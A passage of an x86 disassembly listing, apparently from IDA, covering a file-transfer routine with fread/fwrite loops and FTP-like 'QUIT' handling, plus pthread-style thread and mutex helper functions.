		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4454F4
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4456F8
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4456F0
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445704
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44571C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445710
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445728
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 28E071Eh
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3EC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 24B12D2h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 4B1464E8h, 0A4E85302h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 24B1212h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 24B13A5h, 0E4E85790h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 73E89050h, 85024B11h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 28D08D2h
		push	0
		push	edi
		nop
		call	near ptr 28E03CEh
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 28D0A98h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 28D0C60h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 28E0000h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 28E01EDh
		nop
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
